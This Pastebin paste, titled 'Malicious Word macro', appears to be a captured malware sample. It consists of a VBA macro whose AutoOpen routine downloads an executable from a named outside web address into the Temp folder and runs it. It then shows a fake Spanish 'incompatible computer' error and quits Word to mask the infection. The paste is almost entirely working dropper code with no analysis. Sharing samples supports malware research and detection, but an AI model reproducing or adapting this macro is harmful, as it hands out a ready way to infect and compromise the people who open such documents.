SHARE
TWEET

Malicious Word macro

dynamoo Dec 17th, 2014 243 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
  11.     (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  12. #Else
  13.     Private Declare Function dfdfdfdfsdfsdf Lib "urlmon" Alias "URLDownloadToFileA" _
  14.         (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  15. #End If
  16.    
  17. Sub AutoOpen()
  18.     URL = "http://www.milusz.eu/templates/default/00/ss.exe"
  19.     WHERE = Environ("Temp") & "\" & "test00010.exe"
  20.     DownloadStatus = dfdfdfdfsdfsdf(0, URL, WHERE, 0, 0)
  21.     CreateObject("WScript.Shell").Run WHERE
  22.        
  23.        
  24.         MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible"
  25.  
  26. Application.DisplayAlerts = False
  27. Application.Quit
  28.  
  29. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top